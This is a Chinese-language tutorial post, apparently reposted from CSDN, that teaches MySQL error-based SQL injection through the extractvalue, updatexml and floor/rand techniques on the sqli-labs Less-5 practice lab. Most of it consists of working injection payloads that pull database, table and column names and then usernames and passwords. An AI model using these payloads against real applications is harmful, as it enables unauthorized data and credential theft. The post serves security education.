报错注入是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖于数据库将详细的错误消息返回给客户端。若在测试时发现网页会回显sql相关的报错信息,那么此时就可以尝试使用错误注入这种方式进行渗透。
可以利用报错注入的前提:就是页面有错误信息显示出来、保证函数能够正确执行。
建议看不懂的同学可以看看我的上一篇文章:Union注入-CSDN博客
一、extractvalue报错注入
extractvalue 函数在 SQL 注入攻击中经常被用于报错注入,特别是在 MySQL 数据库中。它的作用是从 XML 文档中提取值。然而,当提供无效的 XML 路径时,它会生成一个错误,攻击者可以利用这个错误来获取数据库信息。
常见的攻击方式:在路径前面加'~',使得路径无效,从而返回我们想要的信息
在 MySQL 中,extractvalue 函数的基本语法如下:
extractvalue(xml_fragment, xpath_expression)
xml_fragment:这是一个XML字符
xpath_expression:xpath表达式,指定提取路径
以less-5为例:
(1)查询库名
当我们输入id=1查询时,发现并没有回显详细信息,这表示可能是报错注入
于是采用以下查询(闭合方式和列数的查询已省去):
id=1' union select 1,2,extractvalue(1,concat('~',(select database()))) --+
1:传递给
extractvalue
函数的第一个参数。这里使用了一个与 XML 文档无关的无意义的值。这个值实际上在这里并不重要,因为
extractvalue
的主要目的是引发一个错误或返回其第二个参数的内容。
concat函数:用于将两部分连接起来,即将和select database()返回的库名连接起来,这里由于在路径前面加了’‘,于是会报错,并在报错信息中暴露库名(这里的也可以变为0x7e,即的ascii码值)
得到库名:security
(2)拿到表名
跟上面一样,就在extractvalue函数内去进行查询,查询表名,
?id=1' union select 1,2,extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database()))) --+
但是看到返回,说明返回行太多,于是我们加入group_concat函数,将所有行的值转化为一行来输出。
于是拿到了security库中所有的表名:
(3)拿到要查询表中的列名
可以看到三列的内容:
?id=1' union select 1,2,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
(4)拿到列中的具体信息
查询id,username,password的具体信息
?id=1' union select 1,2,extractvalue(1,concat('~',(select group_concat(id,username,password) from users))) --+
但是返回值只有一小部分,这是因为extractvalue的回显只有32个字符,要想显示全部的字符,需要用到substring函数
substring函数格式:
substring(要显示的内容,显示开始的位置,要显示的字符数)
如substring(123456,4,3),回显的信息为456
于是,将substring函数加入得:
?id=1' union select 1,2,extractvalue(1,concat('~',(select **substring(**group_concat(id,username,password),1,30) from users))) --+
可以查看到前30个字符,要看后面的只需将查看的字符位变化即可
于是就拿到了我们想要的信息了!!!
二、updatexml报错注入
(1)注入原理
updatexml函数格式
updatexml(XML_document,XPath_string,new_value)
XML_document:是string类型格式,为XML文档对象名称
XPath_string:路径,XPath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
updatexml报错原理
跟extractvalue一样,输入错误的第二个参数,即更改路径符号,就会报错
正常句式:
select updatexml(doc,'book/auther/surname','1')from xml
错误句式:
select updatexml(doc,'~book/auther/surname','1')from xml
(2)查询库名
?id=1" and 1=updatexml(1,concat('~',(select database())),3) --+
(3)查询表名
(这里建议看不懂的同学,可以去看看专栏里面的文章,Union注入-CSDN博客,这里就不再赘述)
?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
(4)查询列名
?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) --+
(5)拿到列中的具体信息
updatexml函数跟extractvalue函数一样,一次的回显位只有,三十二个字符,这里同样也要用到substring函数,substr函数跟substring函数的用法几乎一致,这里我们用substr
?id=1" and 1=updatexml(1,concat('~',(select substr(group_concat(id,username,password),1,30) from users)),3) --+
成功拿到信息!!!
三、floor报错
(1)涉及到的函数
rand():随机返回0~1间的小数
floor():小数向下取整
ceiling():小数向上取整
concat_ws():将括号内数据用第一个字段连接起来
as:别名
count():汇总统计数量
limit():显示指定行数
rand()函数:生成随机数0~1
为了更好地理解这个函数,我们在phpMyAdmin里面敲命令来查看其执行结果
select rand();
会生成一个0~1的随机数
生成0~2之间的随机数
select rand()*2;
select rand()*2 from users;
根据users表的行数,随机生成0~2之间的随机数
** floor函数:向下取整**
select floor(rand()*2) from users;
rand()*2的结果是0~2之间的随机数,所以floor向下取整之后的结果为0或者1,根据表users的行数生成对应行的随机数
concat_ws()函数:将括号内数据用第一个字段连接起来
CONCAT_WS(separator, string1, string2, ..., stringN)
separator
*:分隔符,必须的。您可以使用单个字符,也可以使用字符串。
string1, string2, ..., stringN
*:必需的,至少应指定一个字符串;如果拼接的参数为
NULL
, 则会被忽略;当不指定字符串时,MySQL 将会报错:
ERROR 1582 (42000): Incorrect parameter count in the call to native function 'CONCAT_WS'
。
返回值
CONCAT_WS()
函数返回使用分隔符连接后的多个字符串。- 如果
separator
为NULL
,CONCAT_WS()
函数将返回NULL
。 - 如果
string1, string2, ..., stringN
中有NULL
,则会被CONCAT_WS()
函数忽略。
示例:
select concat_ws('~',(select database()),floor(rand()*2)) from users;
将两部分(select database())和floor(rand()*2)的结果用’~‘连接起来
as别名、group by分组
select concat_ws('~',(select database()),floor(rand()*2)) as ben from users group by ben;
将concat_ws('~',(select database()),floor(rand()*2))表名改为ben,并按照ben分组
(2)floor注入原理
在对数据库执行如下命令的时候,会发现有报错:
select count(*),concat('~',(select(database()),floor(rand(0)*2) as benben from users group by benben);
这是因为rand函数进行分组group by和统计count时可能会多次执行,导致key键值重复,于是我们可以利用这种特点来实现注入
floor注入构造payload可以用下面的公式:
union select 1,count(*),concat_ws("连接字符”,string1,string2,.......,stringN) as x from information_schema.tablesgroup by x --+
注意:这里的information_schema.tables作用是让rand()产生足够多的的计算次数,一般使用行数比较多的默认数据表information_schema.tables,这个与我们查表用到的information_schema.tables意义不同
(3)查询库名
?id=1' union select 1,count(*),concat_ws('~',(select database()) ,floor(rand(0)*2)) as x from information_schema.tables group by x --+
(4)查询表名
?id=1' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema=database()) ,floor(rand(0)*2)) as x from information_schema.tables group by x --+
只需改动红色字部分,查询表即可,但是会发现报错提示输出从超过一行,也就是每次只能输出一行,于是我们加一个limit函数来进行输出限制,limit 3,1 表示输出第三行,每次输出一行,于是可以得到表名
?id=1' union select 1,count(),concat_ws('~',(select table_name from information_schema.tables where table_schema=database()* limit 3,1**) ,floor(rand(0)*2)) as x from information_schema.tables group by x --+
(5)查询列名
?id=1' union select 1,count(*),concat_ws('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1) ,floor(rand(0)*2)) as x from information_schema.tables group by x --+
(6)拿到列中的具体信息
?id=1' union select 1,count(*),concat_ws('~',(select concat(username,password) from users limit 1,1), floor(rand(0)*2)) as x from information_schema.tables group by x--+
成功啦!!!!
最常用到的几种报错注入都在这里了,喜欢的话给我点个赞吧。
我们一起成长!!!
声明:参考自橙子科技课程
版权归原作者 一路向北_. 所有, 如有侵权,请联系我们删除。